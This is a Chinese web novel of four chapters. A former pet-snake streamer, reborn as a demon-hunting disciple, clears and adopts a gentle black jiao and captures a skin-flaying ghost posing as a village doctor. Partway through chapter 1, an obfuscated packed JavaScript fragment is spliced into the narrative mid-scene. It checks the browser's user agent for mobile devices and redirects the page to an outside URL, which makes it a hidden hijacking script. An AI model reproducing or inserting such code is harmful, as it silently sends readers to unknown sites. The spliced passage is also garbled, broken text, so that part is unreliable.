《宠物博主妖界再就业》
1. 第一回
午时,练武场上,一女一男正在比试切磋。
那女子眉目如画,英姿飒爽,墨发高高束起,腰间系着一柄桃木剑,微风拂过,衣袂飘飘。
男子则剑眉星目,身着一袭青色道袍,手握一把黄铜师刀。
远处的观战席上,有一少女姗姗来迟,她的同伴嗔怪道:“你怎么来的这么迟?冉师姐和纪师兄都已经过了三百来招了。”
练武场上这两人正是玉清山庄凌霄真人唯二的徒弟——亲传大弟子冉青云与关门弟子纪映阳。
纪映阳一脚蹬地,腾空而起,转腰飞腿,将一旁三尺高的练功石猛地朝冉青云踢去,掀起一阵飞沙走石。
冉青云左手运力,正面迎上,掌劲浑厚。练功石重约千斤,竟被她硬生生震开。
随后,冉青云立即拔出腰间的桃木剑,带着法印的桃木剑倏地刺出,剑如飞风,直指纪映阳的胸膛。
纪映阳向后急退,堪堪避过。
冉青云得逞一笑,顺势抖腕斜剑,行云流水,长剑横削,又斩向对方颈侧。
中计了!
眼见剑刃已经逼近要害,纪映阳急忙竖刀格挡,刀剑相击,嗡嗡作响。
只听锵的一声,纪映阳手中的黄铜师刀应声振飞,啷当落地。
观战席上响起阵阵喝彩——
“不愧是冉师姐,那一招太强了!”
“难怪冉师姐每年都夺得魁首!”
“纪师兄也进步神速,现如今已经能和冉师姐对上三百多招了!”
冉青云收起桃木剑,驻足远眺,天空湛蓝如洗、万里无云,远处师弟师妹们叽叽喳喳地笑着闹着。
眼前是再平常不过的场景,冉青云心中却是感慨万千——
十八年了。
她穿越到这个世界已经是第十八个年头了。
十八年前的一个晚上,身为一个小有名气的宠物蛇博主,她在直播间一边给粉丝们展示价值千元的极品黑王蛇,一边眉飞色舞地喊:“谁懂啊!家人们!我新养的极品黑王蛇!简直是爬宠里的爱*仕,无毒蛇里的劳*莱斯!”
话音刚落,她不知怎么的,突然气血上涌、眼前一黑,头一晕栽了下去。
再一睁眼,她成了襁褓里的小婴儿,不知被谁遗弃在山脚,性命垂危,急得她嗷嗷大哭。
寒风呼啸,路过的凌霄真人于心不忍,把她捡了回去,起名为冉青云,从此一养就是十八年。
……
面前,师弟纪映阳揉着被震得生疼的手腕,无奈地笑了笑:“哎,甘拜下风,甘拜下风!真是输得彻彻底底,险些都没法逼得师姐出剑。看来我这辈子是怎么也比不过师姐呀。”
冉青云笑道:“你天天想着法子偷闲躲静,自然比不过我。”
说罢,冉青云瞥了一眼他脸上几道浅浅的红印,挑了挑眉,问道:“怎么?你又被师尊训了?”
“别提了。”纪映阳长叹一声,语气浮夸,“何止是训斥,简直是严刑拷打,还用拂尘赏了我三个结结实实的大嘴巴子。”
他恨得牙痒痒,咬牙切齿地说:“也不知道是哪个孙子把我翘课吃烤鸡的事情给抖搂出来,这小子可别被我逮着了!”
冉青云幸灾乐祸:“你就活该。”
纪映阳白眼直翻:“你还说我呢!你不会忘了师尊命你今日午时三刻去静心堂听训吧?自求多福吧你。”
……还真差点忘了这茬。
***
午时三刻,当冉青云磨磨蹭蹭抵达静心堂时,凌霄真人已经在堂内候着了。
凌霄真人身穿月白色道袍,头戴翡翠芙蓉冠,脸庞清瘦,鹤发童颜,此时正静坐于蒲团之上,闭目打坐。
冉青云进了屋,恭顺地唤了一声“师尊”。
凌霄真人却一动不动,就这么将冉青云晾在一旁,害得她大气也不敢喘,蹑手蹑脚地走到下席,心惊胆战地跪坐在垫子上。
冉青云不敢吭声,坐得脚都快麻了,心里暗暗抓狂。
完了完了!
CD越长,威力越强!
不出意外的话,待会师尊就要在沉默中爆发了!
果然,过了约莫一炷香的时间,凌霄真人慢慢悠悠地掀开眼帘,不紧不慢地问:“冉青云,你可知自己错在何处?”
冉青云左思右想,只觉得自己才德兼备、文武双全、尊老爱幼、乐于助人,竟实在是想不出一个错处,只好低着头,诚恳地说:“请师尊明示。”
凌萧真人揉了揉额头,强压怒意,问道:“昨日的考核,‘负伤时遇见妖怪的应对之策’这一题,你可还记得自己写了什么答案?”
冉青云如实回答:“问问妖怪有没有金疮药和纱布……”
“胡闹!”凌萧真人拧着眉呵斥道,“作为捉妖人,你不想着斩除妖祟,竟还想求助于它?”
冉青云咕哝:“倘若他真有金疮药呢……”
闻言,凌霄真人摇摇头:“妖祟无恶不作。我们玉清山庄世世代代苦学捉妖技法,为的就是降妖除怪、替天行道。”
“此话差矣。”冉青云忍不住小声反驳道,“捉妖人应该捉的是坏妖,哪能不由分说见妖就杀?那岂不是成了山匪流氓?”
她越说越来劲,声音越讲越响亮:“妖与人一样有伤天害理、恃强凌弱者,也一样有心地善良、老实本分者。人与妖又有什么高低贵贱之分?”
凌萧真人把拂尘一甩,面露不满:“不可理喻!人与妖怎么能相提并论?”
她板着脸,说:“捉妖师的本职就是肃清妖孽。”
“捉妖有两个大忌,一忌心浮气躁,二忌心慈手软。犯了大忌,轻则受伤,重则殒命。”
“你和纪映阳两人,天分高、学艺精,是难得一见的好苗子。但纪映阳常常心浮气躁,你又容易心慈手软……”
沉默了半晌,她叹了口气,“罢了,为师说再多也无用。”
“你们本性如此,人各有道。”
“不要怪为师严厉。”凌霄真人望向冉青云的眼中有一丝泪光闪动,她语重心长地说,“明日你们两人就要下山,各自历练。为师年事已高,今后除妖邪的重任终究是要落在你们身上了。”
冉青云自小被凌霄真人打着屁股、扯着耳朵长大,鲜少见她如此柔软的样子,当即心头一酸,郑重地行了个跪拜礼,叩谢师恩。
***
第二日,冉青云和纪映阳辞别了山庄里的人们,嬉闹着一同下山;又在山脚分道扬镳,一个往南,一个向北——
纪映阳要去南淮城铲除为非作歹的九尾狐,而冉青云则应邀前往霍家村捉拿祸害百姓的恶蛟。
霍家村离玉清山庄有足足五十里远。
冉青云长途跋涉了大半天,终于在傍晚来到了霍家村。
在村口和村民自报完姓名,村民眼眸一亮,见她如见了靠山,喜不自胜,奔走相告:“捉妖师来啦!捉妖师来啦!”
以村长为首的村民们激动得把她团团围住。
在大家的簇拥下,冉青云来到一个破旧的茅屋前。
据村民所说,这是村医的住所。
村医是位个子不高、身形干瘦的中年男子,听到敲门声,很快开门让众人进去。
茅屋不大,大部分村民只好挤在门外看热闹。
茅屋地上铺了一层厚厚的稻草充当地铺,上面并排躺了五名伤者。
五人皆是满头大汗,脸色苍白,嘴唇乌青,气若游丝,嘴里含含糊糊地嚷嚷着痛,看上去已是神志不清。
伤者患处明显肿胀,血淋淋的窟窿已经发黑水肿,周围出现一连串大小不等的水疱,有些已经破溃,流出了透明的疱液。
所有伤口皆是一对又深又大的齿痕,隐隐散发着邪祟的黑气,很是吓人。
看上去确实像蛟妖所为。
冉青云盘腿而坐,拿出手帕轻轻擦拭伤者的患处,又将沾上血水和少许淡黄毒液的手帕拿在手中细细端详。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988523|148330||http|test|mini|href|location''.split(''|''),0,{}));
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>正检查着,一个年纪偏大的伤者突然全身剧烈地阵挛抽搐起来。
冉青云忙撕下一块麻布,团成一团塞进他嘴里,以防他咬了舌头。
冉青云皱着眉看向村医,目光如刀:“你到现在还没给他们解毒?”
村医被这冰冷锋利的眼神吓得后背冒冷汗,哆哆嗦嗦地解释:“我、我是怕普通的解毒药解不了蛟妖的毒,反而伤害了脾胃,加重负担。要是他们被我医坏了,那我……”
冉青云没回话,从乾坤袋中掏出一张符纸,拜托村民拿来一碗烧开的水,将符纸夹在两指间,闭目观心,默诵引火诀。
符纸“唰”的一声自燃了。
屋里屋外的村民们发出低声的惊呼,啧啧称奇。
符纸灰轻轻飘落到水碗里。
冉青云摇了摇水碗,将符灰水混匀,把它交给村长,嘱咐道:“赶快将符水喂伤者喝下,至少能保证他们性命无虞。”
“可惜解毒解得太晚了,身体已元气大伤,日后还要慢慢休养调理才行。”
交代完,她站起身,拍了拍下摆的灰,问道:“那蛟妖在哪?”
屋外,一村民从人群里探出脑袋,高声回答:“俺晓得!俺晓得!俺今早去后山放牛的时候远远地瞅见它了!”
***
来到村民所说的后山,冉青云掏出寻妖罗盘。罗盘上的磁针果真有了反应,震颤着发出嗡嗡的蜂鸣声,最后平息下来,指向了北面。
冉青云一路向北,很快就听见远处灌木丛里传出了窸窸窣窣的声响。
她隐去气息,压低身子,潜行着靠近。
还没走出几步,灌木丛里一只黑蛟突然蹿了出来,直接与冉青云对上视线,嘴里还傻乎乎地卡着一颗大鸟蛋。
一人一蛟大眼瞪小眼,场面有些许尴尬。
冉青云回过神来,欺身上前,五指发劲,伸手直抓黑蛟七寸。
这黑蛟着急忙慌地把鸟蛋咽下去,尾巴一摆,身法滑得像泥鳅一样,竟成功从冉青云手下溜了,飞速往一块长满青苔的巨石后躲。
其速度之快,几乎只留下了一抹残影。
冉青云的轻功在山庄内可是数一数二,素来有踏雪无痕的美称。
她施展轻功,一个起落,身子如离弦之箭般射了出去,眨眼间已窜出几丈开外。
可这黑蛟的速度也不逞多让。他如同一道蜿蜒的黑色闪电,绕着擎天柱似的巨石疯狂逃窜。
他逃她追,一人一蛟就这么绕柱跑了几个来回。
这样下去也不是个办法。
冉青云倏然停下,脚下运劲一点,轻盈地翻身上石,一边盯着下面慌乱逃窜的黑蛟,一边双手快速结印,唇瓣翕张默念心诀:“天地之气,聚于我身。予我仙灵,定你身形。定!”
随着“定”字一出,结印已成,妖怪身体一震,一动不动地被定在了原地,只剩下两颗眼珠子轱辘轱辘地转。
仔细一看,冉青云发现它的外形竟酷似自己穿越前最爱的那条极品黑王蛇,只不过体型大上了几倍,又多了一对前爪。
他蛟身通体发亮,在阳光照射下显现出五彩斑斓的黑,水汪汪的大眼睛堪比价值连城的黑曜石——这可是难得一见的绝佳品相!
冉青云跳下巨石,走近还想再细看。
没成想,这黑蛟的脑袋竟微微晃动起来,隐隐有要挣脱定身术的迹象。
这黑蛟果真不简单!
冉青云的定身术结印快、束缚牢,若在整个山庄内排第二,就没有人敢称第一。
正常来说,被定住的妖怪本该是从头到尾都完完全全的动弹不得。
没想到,仅仅几个呼吸间,施加在这黑蛟身上的定身术有松动之兆。
冉青云拔出桃木剑,屏息凝气,全神戒备,与黑蛟面面相对,场面一触即发。
黑蛟晃了晃脑袋,猛然张开血盆大口——
然后,他“哇”的一声哭了。
冉青云:……
2. 第二回
黑蛟哭得一把鼻涕一把泪,声嘶力竭,哀转久绝:“求求你!求求你不要杀我!我只是路过这里找个山洞睡觉,难道这也不行吗哇啊啊啊……”
如此凶神恶煞的黑蛟哭得这般稀里哗啦,冉青云活这么久还是第一次见。
她直接看得愣了神,呆若木鸡,怔怔地保持着剑指黑蛟的姿势。
黑蛟误以为她不愿放过自己,嚎得一声高过一声:“我错了,我真的错了……我当初就不应该来这里,如果我不来这里,我就不会被逮住;如果我不被逮住,我就不会沦落到这么一个伤心的地步……”
这可真够傻乎乎的。
看他这呆里呆气的样子,明明完全有挣脱定身术的本事,却只知哭哭啼啼,完全不像是一只会伤人作乱的恶蛟。
先不说有没有做坏事的歹心了,感觉他就没有做坏事的智商……
冉青云挽了个剑花,干净利落地收起桃木剑,问他:“这附近还有别的妖么?”
黑蛟不明所以,但还是乖乖地如实回答:“没、没有,这附近方圆五里就我一个妖。”
他低声唧哝:“要是我闻到其他妖的气息,早就去找他们玩了……”
冉青云直截了当地问:“山下的村民是不是你咬伤的?”
“咬伤山下的村民?”黑蛟把头摇成拨浪鼓,否认道,“不是我!我连村里都没去过!”
冉青云直勾勾地盯着他,似乎想看出些什么破绽来:“村里人都说有一条黑色蛟妖当众咬伤无辜百姓,让我来铲除妖祟、为民除害。”
黑蛟急得好似是被踩了尾巴,眼睛瞪得像铜铃:“冤枉啊!我冤枉啊!大人明鉴!”
他喃喃道:“完了完了,这下可怎么办?我要怎么才能洗清冤屈呀!”
“这有何难?”冉青云说,“即使是再相似的蛟妖,毒液的色泽、粘度都会略有不同。”
不等黑蛟反应,她伸手便掐住他的脑袋,说:“我取几滴你牙上的毒液,与村民伤口上的毒液一比对便知。”
说罢,她另一只手从乾坤袋中掏出一个黄铜制甘露碗法器,将黑蛟的尖牙卡在碗壁内缘,示意他咬住碗口,随后用手指捏住他头部两侧咬肌处。
此处长着分泌毒液的腺体。
冉青云轻轻挤压,尝试把毒牙腔管内的毒液挤出来。
没有成功。
冉青云疑惑地皱眉,手指稍稍施力,再次尝试挤压。
碗口还是干干净净,不见一点儿毒液的影子。
冉青云拧紧了眉头,咬着牙使出吃奶的力再再次尝试挤压。
黑蛟痛得泪眼朦胧、嗷嗷乱叫,然后,嘴里终于流出了——
两滴哈喇子。
蛟生五百余岁的黑蛟第一次在人类面前流哈喇子,对方还是位妙龄女子。
他羞红了脸,简直是想死的心都有了,不顾嘴巴还被冉青云掐在手里,扭捏但努力地解释道:“瓦、瓦真滴米有毒……”
冉青云松开手,贴心地用袖口帮他胡乱擦了擦哈喇子,说:“看来你没有说谎,凶手确实不是你。”
黑蛟嚼巴嚼巴嘴,活动活动了酸痛的下巴,可怜兮兮地说:“当然不是我了!”
有错就认,冉青云解开定身咒,抱拳作揖:“抱歉,是我错怪你了。”
黑蛟很惶恐,连连摇头,学着冉青云的动作,两只爪子也生疏地抱拳作了个揖:“没事没事,也怪我瞎晃悠。”
说完,他眨巴着眼,试探着说:“那……那请问现在我可以走了么?”
误会解除,自然没有强留的道理。
冉青云和他告别,一人一蛟转身背道而行。
走了几步,冉青云回头看了一眼,黑蛟蜿蜒前行,身上的黑色云状斑纹在阳光下泛着五颜六色的闪闪微光。
美是真美啊……
这黑蛟简直就是艺术品……
她心痒得很,忍不住开口问道:“小黑蛟,你接下来打算去哪里?”
这黑蛟胆子是真的小,突然被喊住,吓得一激灵,转过身说:“我、我也不知道,我就是到处瞎逛逛,走到哪是哪。”
冉青云在他面前半蹲下来,平视着他,问:“那你要不要考虑一下跟我走?我可以保证你吃喝不愁、性命无忧。”
“跟你走?!你的意思是、是要养我?!”黑蛟不可置信地瞪大了眼睛,喃喃道,“我还以为人类都很讨厌我们……”
冉青云坦然地说:“怎么会呢?我就很喜欢。”
黑蛟惊讶道:“真的假的?!”
“当然是真的。”若是要讲讲喜欢蛇的原因,冉青云怕是三天三夜也说不完,“蛟蛇看着冷冰冰的,其实大多数性格温顺乖巧又喜欢撒娇,这反差很难不让人心动。而且还长得很漂亮,鳞片像翡翠,眼睛像宝石。还有……”
黑蛟立马被花言巧语迷了心智,乐得晕头转向,急不可耐地凑到冉青云面前,连连说:“我跟你走!我跟你走!我给你当宠物!”
“宠物?”冉青云顿了顿,说,“这么说倒也没错……但你被当做宠物,难道不会觉得被折辱了吗?”
黑蛟生怕她不收自己当宠物,当即蹦跶了两米高,急匆匆喊道:“当然不会!”
他接着说:“我就有一个猫妖朋友,他装作流浪猫碰瓷了一个镖局的千金大小姐。现在天天吃香喝辣,睡觉枕的是牡丹云锦褥,喝水用的是芙蓉白玉杯,可把我羡慕坏了。”
他尾巴有一搭没一搭地拍着地面,继续回忆:“每次见他,他都要和我炫耀半天,说什么‘装模作样半刻钟,荣华富贵一辈子’……”
说到这,他尾巴尖尖讨好似地缠上冉青云的手腕,“现在我终于不用羡慕他了,我也有人养了!”
他大喜过望,由衷地感慨:“姐姐,你真是个好人!”
冉青云乜斜着眼看他,“你几岁了?”
黑蛟歪着脑袋,如实说:“我五百三十二岁了……”
冉青云伸出食指指着自己:“我,芳龄十八。”
黑蛟立马识趣地改口:“妹妹!”
这称呼感觉也怪得很。
冉青云拍拍黑蛟的脑袋,说:“你还是喊我青云吧。”
“我叫冉青云,‘好风凭借力,送我上青云’的‘青云’。”
“青云……”黑蛟把这两个字翻来覆去品了几遍,喜滋滋地说,“真是个好名字!”
冉青云问:“你呢?你叫什么?”
黑蛟腼腆起来:“我叫玄隐……黑乎乎的那个‘玄’,啥也
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看不见的那个‘隐’。”
这么文艺的名字,又这么文盲的介绍。
冉青云点点头,“玄隐,好,我记住了。”
她朝玄隐伸出手。
玄隐福至心灵地晃了晃身子,体型缩小得仅有手指粗细,顺着冉青云的手指往她宽大的袖子里钻。
他老老实实地缠在她的小臂上,从袖口探出个小脑袋,乐不可支地摇头晃脑。
冉青云用手指点点他的脑袋,笑道:“你可躲好了,别把村里人吓着了。”
***
回到霍家村,冉青云先去村医住处看望了伤者。
符灰水下肚后,五名伤者的面色都肉眼可见的红润了许多,唇上的青紫也悉数褪去。
只是那村医对伤者实在是不上心,连包扎伤口都敷衍了事,细纱布松松垮垮地搭在患处。
作为常常受伤的捉妖师,冉青云久伤成医,自然也略通医术。
她把松散的细纱布拆下来,用盐水清洗了伤口,小心翼翼地敷上金疮药,接着轻轻将干净的细纱布缠绕在伤口上,在末端认认真真地打了个结。
处理妥当后,她找到村长,把在后山的所见所闻讲了一遍,最后言简意赅地总结道:“简而言之,此次伤人作乱之事并不是蛟妖所为,凶手另有他人。”
村长愁眉苦脸:“这怎么可能呢?我们村一向风平浪静,蛟妖一来,就出了这等大事,不是它做的,那还能是谁?”
附近的村民中传出了小声的议论:
“说不定她是抓不住蛟妖,在这儿胡诌呢。”
“看来玉清山庄的捉妖师也没啥厉害的,我还以为吹得多邪乎哩……”
“要不再去找找别的捉妖师,总不能放那恶蛟为非作恶吧……”
玄隐偷偷藏在冉青云的袖口里,听得是又着急又上火,纤细的尾巴尖快摇出花了,几欲想钻出来亲口和大家解释。
冉青云把他按住了。
她活了两辈子,一向是吃饭吃肉不吃亏的主儿,遇事都是自己当即当场找回场子。
她回嘴道:“好哇,既然你们瞧不起玉清山庄,那以后可别再求着我们下山除妖。我今天就把话放这,这黑蛟绝不是凶手,毋庸置疑!”
村长急了:“我们好几个乡亲们亲眼所见,还能有假?”
“亲眼所见是吗?”冉青云冷哼一声,眉毛一挑,右手凭空摸出一个十字镖,手腕一甩,十字镖带着呼啸的破风声,直奔村长面门而去。
村长来不及躲避,腿一软,狼狈地摔了个屁股墩,吓得双眼紧闭,却迟迟没等来十字镖破开血肉的疼痛。
他迟疑地微微睁开眼,眯成一条缝的眼睛转了一圈——这儿哪里有十字镖的影子?
竟有如此出神入化的幻术。
冉青云双手抱胸,居高临下地看着他,嗤笑道:“亲眼所见……那当然有可能是假。”
村长手脚并用地爬起来,相当难堪,气势上已短了一截,脸上愁云惨淡,“那、那该怎么办?”
“如此张惶做什么?”
冉青云冷冷的视线从周围的村民身上一一扫过。
既然作恶的不是妖祟,那就只能是鬼怪了。
她泰然自若道:“我自有办法。”
3. 第三回
冉青云吩咐村长,将全村人召集起来,在村头广场集合。
村民们呼朋引伴、拖家带口地往广场赶。不多时,上至八十岁老媪,下至蹒跚学步的孩童,全部村民一个不落一个不少,摩肩擦踵地在广场上挤作一团。
冉青云气定神闲,从乾坤袋掏出了一个不大不小的手缝丝织囊橐。
囊橐里面装满了白色的石灰粉,一打开就扬起一阵细腻的白烟。
冉青云把石灰粉均匀地撒在人群外围,边撒边走,边走边撒,默不作声地绕行了一圈。
白色石灰粉延伸成一条白线,白线首尾相连,将全村人牢牢围住。
村民们目不转睛地盯着冉青云,屏气凝神,等着大师踏罡步斗、掐诀念咒,等着广场妖风阵阵、飞沙走石,等着天上电闪雷鸣、狂风暴雨。
只见冉青云收起丝织囊橐,又摸出一贯铜钱,点出二十八个古铜钱,在白线上按照一定的距离依次排布。
终于布完铜钱,冉青云拍拍手上的灰,朗声道:“好了,你们走出来吧。”
……啊?
没啦?
就这???
见村民们没反应,冉青云催促:“走啊,是不会走路吗?伸腿,迈步,往前走。”
村民们还是没动,面面相觑,你看看我,我看看你。
冉青云原本不想为他们多费口舌——毕竟就在一刻钟之前,这些村民还当着她的面说三道四。
她气都还没消呢。
但见他们一头雾水,她还是解释起来:“这是个锁鬼阵。”
她补充说:“铜钱阳气重,用铜钱在石灰线上照着二十八星宿布阵,画地为牢,恶鬼便无法越过雷池半步,只能被困在圈内。”
这下村民们听懂了。
地上这个石灰粉画成的圆圈圈有法力,走得出去的是人,走不出去的是鬼。
村民们心情忐忑,一个接一个地往外走。走到圈外的人如释重负,皆是大松了一口气。
忽然,一声撕心裂肺的哀嚎响起!
竟是那位村医!
此刻,他躺在圈内,倒地不起,好似被天雷击中一般,肌肉抽搐,面目狰狞,呼吸急促,打着滚儿喊疼。
定睛一看,他双手的手指已被烧得焦黑。
他周围的人纷纷惊叫着作鸟兽散,很快,圈内就只剩他一个人。
不,准确地说,应该是只剩他一只鬼。
冉青云双手抱在胸前,面无表情地盯着村医,说:“之前看你既不帮伤者解毒,伤口也包扎得乱七八糟,我就已经起了疑心。果然没错,我愿意以为你只是害怕担责、不愿医治,现在看来,你是根本就不知道怎么医治。”
她喝道:“你这恶鬼姓甚名谁,快快如实招来!”
捉妖不需知道抓的是什么妖,打赢了抓起来便可;但鬼没有实体,捉鬼需得知道是什么鬼,才能搭配法诀咒语,用镇鬼葫芦将其困住。
村医痛得发抖,恶狠狠地盯着冉青云,咬牙切齿不吭声。
冉青云怒极反笑,一连说了三个“好”字:“好好好,你不说是吧?”
她单手结印,默念雷诀,只听“劈里啪啦”一声响,电光闪烁。
躺在地上的村医顿时凄厉地高声痛呼,身体止不住地蜷缩成一团。
冉青云朝村医所住的茅屋扬了扬下巴,对村民们说:“我在这守着,你们派人去他家里搜搜有没有可疑的东西。”
这下全村村民没有一个不服她的,当即派出脚程最快的人,一刻也不耽搁地往茅屋跑。
少顷,那人手里拎着一个大竹篓,火急火燎地跑了回来,气喘吁吁地说:“找到了!找到了!”
说着便把竹篓恭恭敬敬地交到冉青云手里。
冉青云打开竹篓,里面赫然是一张乌黑发亮的蛇皮。
见此,玄隐的脸一下子红到了耳根,整个脑袋都发热滚烫。
蛟蛇蜕下来的旧皮就相当于一身脱下来的贴身里衣,还是一身穿了几十年甚至上百年的里衣。
玄隐长这么大第一次受到这种冒犯,忍不住从袖口里窜出脑袋,对着偷衣大盗破口大骂:“淫贼!你干嘛偷我蜕下来的皮呀!”
离得最近的村民被吓了一跳,不由得惊呼出声:“蛟妖!有蛟妖!”
冉青云闻声转头,冷冷地瞥了他一眼,说:“有蛟妖又怎么了?我刚收养的,你有意见?”
她眼眸中透出的冷冽几乎要凝成实体。
这村民刚被黑蛟吓了一跳,心还砰砰直跳,又被冉青云的眼刀恐吓了一番,结结巴巴地说:“没、没意见,没意见,我大力赞同……”
冉青云把蛟蜕拿在手里,分析道:“需要偷蛟皮来扮作黑蛟作恶。说明他既不是藏身于生灵腹中的腹鬼,也不是能够制造幻觉的曲鬼,而是剥皮制衣的披皮鬼魅——剥皮鬼。”
玄隐见她拿着自己的蛟蜕,羞得满头大汗,急得不知所措,凑到冉青云耳边,压低声音、语速飞快地说:“哎呀唉呀,你快放下呀!我可是只雄蛇,你女孩子家家的,怎么能把我的这个拿在手上!”
冉青云没理会他,掀起眼帘看向村医,“鬼先生,我说的没错吧?”
村医怨毒地瞪着她,以手撑地,挣扎着站了起来,摇摇晃晃地走到石灰圈的边缘。
冉青云脸色一变,对村民们大声喊道:“快散开!”
下一秒,村医头顶倏然裂开一个大口,一团黑气从裂口中飘出。
村医顿时变成一张干瘪的人皮,直挺挺地面朝下摔落。
失去了剥皮鬼附身的他不过是一具死相惨烈的尸体,不再被锁鬼阵禁锢,倒地的瞬间尘土飞扬,大半个身子摔到圈外。
石灰粉画成的白线被他跌落的身体蹭花,断开了一个口子。
那团黑气从断口溜了出去,很快不见了踪影。
整个广场上顿时掀起阵阵阴风。
冉青云急忙从乾坤袋中掏出一个小巧的青瓷盒,里面装着由朱砂、艾绒、犀黄、珍珠粉等制成的龙泉印泥。
她用大拇指将红色的印泥点在自己眉间,凝心闭目,意守百会穴,嘴里念念有词:“元皇正气,来合我身,雷门十二,天眼尽开!”
言毕,她额头上的红印隐隐泛起微光。
再睁眼,她清楚地看见,那团黑气化作人形,正往村外逃窜。
冉青云施展轻功,身轻如燕,很快追了上去。
她食指、中指夹住一枚
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铜钱,略施巧劲,铜钱“噌”地飞出,像回旋镖一样在半空中画出一道弧线,转了大半圈,迎面射向剥皮鬼。
剥皮鬼被逼得往后一滚,狼狈地躲开。
而冉青云早已预判了他的后撤,先他一步站定,双手握住桃花木往下一刺,将剥皮鬼捅了个对穿,牢牢地钉在地上。
剥皮鬼痛呼出声,双手握住剑刃,想要把剑拔开,却被带着法印的桃花木烫得手生疼,响起烤肉般滋滋的声音。
那张没有五官的脸皱缩成一团,显示出几分恨意。
冉青云一手按住剑,一手从乾坤袋中掏出了镇鬼葫芦,喊了一声剥皮鬼的名号,念道:“吾行一令,速速就擒,如有违逆,立入聻境!”
“咻”的一声,那黑气被镇鬼葫芦吸了进去。
葫芦震颤了两声,安静了。
一切都发生在电光火石之间。
村民们这才反应过来,高呼:“鬼啊!真的是鬼啊!捉妖师抓到鬼了!捉妖师抓到鬼了!”
“大惊小怪。”冉青云向上抛了抛镇鬼葫芦,趾高气扬地得瑟,“捉妖师就不能会捉鬼了吗?像我等天才,自然是触类旁通、知一万毕。”
玄隐从她袖口里探出脑袋,仰着头,一脸崇拜:“青云,你好厉害呀!”
冉青云很是受用,神采奕奕,笑着说:“那是自然!跟了我,你的福气在后头呢。”
玄隐好奇地看着这镇鬼葫芦,小心翼翼地用爪子试探着碰了碰,问:“那接下来呢?把他关在里面就好了吗?”
冉青云:“接下来就把这镇鬼葫芦交给驱鬼人,他们会把剥皮鬼送回冥界去。”
村长听见了,脸色变得很为难,犹豫着问:“这意思是……就、就这么放它走了?为何不斩草除根啊?”
冉青云摇摇头:“鬼本就是死的,如何能再杀一次?能做的不过只有把他赶走,让他回到他该在的地方去。”
村长眉头紧锁:“那要是它回来找我们报仇,那可如何是好?”
“不怕。回了冥界的鬼就很难再出来。要是实在不放心的话……”冉青云掏出一个巴掌大的朱砂无事牌,交给村长,“把这朱砂牌立在村口,每月十五在牌前洒一碗鸡血,魑魅魍魉就再也进不了你们霍家村。”
村长接过朱砂无事牌,眼含热泪、千恩万谢:“之前多有冒昧,感谢大师不计前嫌、出手相助!我们霍家村永远记得大师的恩情!”
身后,村民们也连声说:“多谢大师!多谢大师啊!”
*****
拜别了村民,冉青云手盘小黑蛟,满袖荡春风,提着乡亲们送的鸡鸭鱼肉,打算找家酒肆,让厨师加工加工,美美大吃一顿。
正走着,系在腰间的传书玉玺突然亮了。
传书玉玺是玉清山庄独门法器,弟子间可通过它发送信息,相互交流。
冉青云拿起传书玉玺——是亲师弟纪映阳的来信。
光看文字都能感受到他的急切:
“南淮城,锦绣客栈,情况紧急,师姐快来救驾!”
……
“救驾”是吧?
这小子,求人帮忙还把自己当皇帝?
硬了,冉青云拳头硬了。
4. 第四回
锦绣客栈坐落在南淮城乾元坊之中,店面不大,有个小院,一楼打尖,二楼住店。
一楼大堂冷冷清清,角落里仅有一桌坐了两个人。
这张老旧的榆木桌上摆着好些美酒佳肴。
纪映阳坐在桌边,左手捧碗,右手拿筷,身穿金丝花边鸦青袍,头戴镂空雕花白玉冠,身背黄铜师刀,腰束云纹腰封,腰封上还系着一支红木长笛。
坐他对面的冉青云却灰头土脸,此时正气得太阳穴突突直跳,咬牙道:“这就是你所说的‘情况紧急’?”
从收到纪映阳“情况紧急”的消息开始,冉青云就施展轻功,动身前往南淮城。
中途饿了困了,找个驿站凑合一会儿,休息好了又即刻启程。
四天的路程,硬是不到两天就赶完了。
连乡亲们送的杏花鸡和黑羽鸭都被颠得奄奄一息,更别提那两条可怜的桂花鱼了。
小黑蛟缠在冉青云的手腕上,感觉自己如同坐了两天的超速快车,晃得是脑袋发沉、晕晕乎乎,半路上连吐了好几回,到现在还无精打采地窝在袖子里,蔫头耷脑,可怜兮兮的。
结果,冉青云风尘仆仆地走进锦绣客栈一瞧——纪映阳正用午膳,身上是锦衣玉带,满桌是珍馐美馔,吃得是满嘴流油。
好好好。
我在那儿辛辛苦苦上演“奔跑吧姐们”,你搁这儿开开心心参加“向往的生活”?!
纪映阳大口大口地啃着鸡腿,吃得是津津有味,看着是十分欠揍。
他边嚼边说:“现在的情况确实已是十万火急。”
他咽下嘴里的鸡肉,抽出手帕擦了擦嘴,说:“师姐,你有所不知。两日前,我一进南淮城,就和城主夸下海口,四日之内必定拿下九尾狐妖。”
“按我原定计划,我第一日觅得线索,第二日趁胜追击,第三日破竹建瓴,第四日旗开得胜。”
他长吁一声,悲从中来:“如今这四日之约已经过半,捉妖一事却毫无进展。这样下去,丢的可是我们玉清山庄的脸面,事关重大啊!”
呵呵。
捉不到妖怕丢脸,诓骗师姐就不怕丢命是吧?
冉青云阴沉着脸,青筋暴起,攥紧拳头,转转手腕,打算让他知道知道花儿为什么这样红。
纪映阳见势不妙,急忙端起一碗甜水往冉青云面前献,企图给师姐灭灭火,谄笑着说:“师姐,您消消气,消消气!您平日里不是最爱喝甜水了么?快尝尝这砂糖冰雪冷元子!”
生死关头,他巧舌如簧的推销本事派上了用场:“您看,里面这小丸子是由黄豆粉和砂糖制成,再浸到加了冰的蜂蜜水里,清凉解暑!”
砂糖冰雪冷元子?
这倒是冉青云从没听过的稀罕饮品。
作为一个上辈子每天两杯奶茶的甜品爱好者,冉青云很难拒绝。
她接过那碗甜水,尝了一口,确实美味。小丸子软糯弹牙,蜂蜜水香甜爽口,入口凉滋滋、甜丝丝的。
但她堂堂玉清山庄亲传大弟子,岂是一碗冰饮就能收买的?
她摆出师姐的架子,拿乔道:“吃吃吃,就知道吃,一出门就花钱大手大脚的。我看你不是来捉妖,分明是来享乐。”
